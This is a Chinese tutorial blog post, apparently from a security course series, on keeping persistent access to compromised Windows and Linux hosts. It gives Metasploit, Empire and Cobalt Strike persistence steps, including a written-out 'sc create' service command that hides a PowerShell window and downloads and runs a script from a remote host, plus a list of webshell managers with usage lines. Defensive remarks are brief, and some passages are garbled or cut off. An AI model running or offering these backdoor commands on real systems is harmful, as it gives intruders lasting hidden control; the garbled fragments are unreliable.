2024全网最全面及最新且最为详细的网络安全技巧 (11-2):应急响应系列之Windows,Linux权限维持—后门篇
【摘要】 应急响应系列之Windows,Linux权限维持——后门篇(剧终——完结撒花)[含三大渗透测试框架及Github项目地址和24护网行动各厂商面试精题]等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
11.14 三大渗透测试框架权限维持技术
11.14.1 前言
- 本文简单介绍了通过三大渗透框架进行权限维持的几种方法,了解攻击者常用的渗透框架及后门技术,有助于更好地去发现并解决服务器安全问题。
- 在渗透测试中,有三个非常经典的渗透测试框架----Metasploit、Empire、Cobalt Strike。
- 那么,通过漏洞获取到目标主机权限后,如何利用框架获得持久性权限呢?
11.14.2 MSF权限维持
- 使用MSF维持权限的前提是先获得一个meterpreter shell,通过meterpreter shell获取持久性shell的方法有两种:
-
Persistence模块
-
通过启动项启动(persistence)的方式,在目标机器上以
。-U:设置后门在用户登录后自启动。该方式会在 HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数; -X:设置后门在系统启动后自启动。该方式会在 HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。 由于权限问题,会导致添加失败,后门将无法启动。 -S:作为服务自动启动代理程序(具有SYSTEM权限)
-
生成的相关文件位置:
# 后门文件位置: C:\Windows\Temp C:\Users\Administrator\AppData\Local\Temp # 注册表位置: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
-
Metsvc 模块
-
通过服务(metsvc)启动的方式,在目标机器启动后自启动一个服务,等待连接。
-
后门排查:目标主机上开启了一个Meterpreter服务。
11.14.3 Empire 权限维持
- Empire的persistence模块提供了18种权限维持的方法,大致可以分为四类,即
-
- elevated(管理权限)
- misc(杂项)
- powerbreach
- userland(用户权限)
- registry
- add_netuser
- deaduser
- backdoor_lnk
- schtasks
- add_sid_history
- eventlog
- registry
- wmi
- debugger
- resolver
- schtasks
- wmi_updater
- disable_machine_
- acct_change
- get_ssps
- install_ssp
- memssp*
- skeleton_key*
-
注册表
- 因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的powershell启动项的框,在注册表位置:
-
计划任务
(Empire: agents) > agents # 显示当前连接的代理列表。 (Empire: agents) > interact URL3FZBV # 与指定的代理(URL3FZBV)进行交互,进入该代理的命令行。 (Empire: URL3FZBV) > usemodule persistence/elevated/registry* # 选择并使用 `persistence/elevated/registry` 模块,该模块用于通过注册表实现持久化。`*` 可能表示选择所有相关的子模块。 (Empire: powershell/persistence/elevated/registry) > set Listener test # 设置模块的 `Listener` 参数为 `test`,该参数指定用于接收连接的监听器。 (Empire: powershell/persistence/elevated/registry) > execute # 执行已配置的模块以应用持久化设置。
- 在任务计划程序库可以看到-任务为Updater-启动程序如下可以到为powershell
wmi
(Empire: agents) > interact 9NZ2RWBC
# 与代理 `9NZ2RWBC` 进行交互,进入该代理的命令行。
(Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi
# 选择并使用 `persistence/elevated/wmi` 模块,该模块用于通过 WMI 实现持久化。
(Empire: powershell/persistence/elevated/wmi) > set Listener test
# 设置模块的 `Listener` 参数为 `test`,指定用于接收连接的监听器。
(Empire: powershell/persistence/elevated/wmi) > run
# 执行已配置的 WMI 持久化模块以应用设置。
- 如何清除后门,最简单的方法就是使用Autoruns,选择WMI选项卡,右键就可以删除恶意后门。
11.14.4 Cobalt Strike权限维持
- 通过Cobalt Strike拿到一个shell,留后门的方法有很多,下面介绍两种比较常见的无文件、自启动后门。
- 从Cobalt Strike菜单栏,Attacks--Web Drive-by--Scaripted Web Delivery,生成powershell后门。
- 根据需要可以自己选择,填写所需参数默认端口是80(需要注意的就是不要使用重复端口),Type选择powershell。
- 点击Launch后,返回powershell远程下载执行命令。
-
服务自启动后门
-
sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\"" //创建一个名为 Name 的服务,服务的执行路径是一个命令,它启动 PowerShell,并在隐藏窗口中执行一个从指定 URL 下载并执行的 PowerShell 脚本。 sc description Name "Just For Test" //设置服务的描述字符串 sc config Name start= auto //设置这个服务为自动启动 net start Name //启动服务
- 重启服务器后,成功返回一个shell。
-
注册表自启动
evil crash winrs.py wmi winrm
- 账号注销后,重新登录,界面上会出现powershell快速闪过消失,成功返回shell。
-
注册表还有哪些键值可以设置为自启动:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
11.15 常见WebShell管理工具
- 攻击者在入侵网站时,通常要通过各种方式写入Webshell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件、窃取用户数据,篡改网站页面等操作。
- 本文介绍十款常用的Webshell管理工具,以供你选择,你会选择哪一个?
中国菜刀(Chopper)
- 中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。
蚁剑(AntSword)
- AntSword是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。
-
github项目地址:https://github.com/AntSwordProject/antSword
C刀(Cknife)
- 这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义。
-
github项目地址:https://github.com/Chora10/Cknife
冰蝎(Behinder)
- 冰蝎”是一款动态二进制加密网站管理客户端。
-
github地址:https://github.com/rebeyond/Behinder
Xise
- XISE WebShell管理工具。
Altman
- Altman3是一款渗透测试软件,基于.Net4.0开发,依托Eto.Form可以完美运行在Windows、Linux、Mac等多个平台。
-
github项目地址:https://github.com/keepwn/Altman
Weevelys
- Weevely是一种Python编写的webshell管理工具,跨平台,只支持PHP。
-
github项目地址:https://github.com/epinna/weevely3
- 用法示例:
weevely generate <password> <path> weevely <URL> <password> [cmd]
- 同时,在Kali 2.0 版本下,集成了三款Web后门工具:WebaCoo、weevely、PHP Meterpreter。
QuasiBot
- QuasiBot是一款php编写的webshell管理工具,可以对webshell进行远程批量管理。
-
github项目地址:https://github.com/Smaash/quasibot
Webshell-Sniper
- 这是一款基于终端的webshell管理工具,仅支持在类Unix系统上运行。
-
github项目地址:https://github.com/WangYihang/Webshell-Sniper
- 用法示例:
Usage : python webshell-sniper.py [URL] [METHOD] [AUTH] Example : python webshell-sniper.py http://127.0.0.1/c.php POST c
WebshellManager
- 一款用PHP+Mysql写的一句话WEB端管理工具,目前仅支持对PHP的一句话进行操作。
-
github项目地址:https://github.com/boy-hack/WebshellManager
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)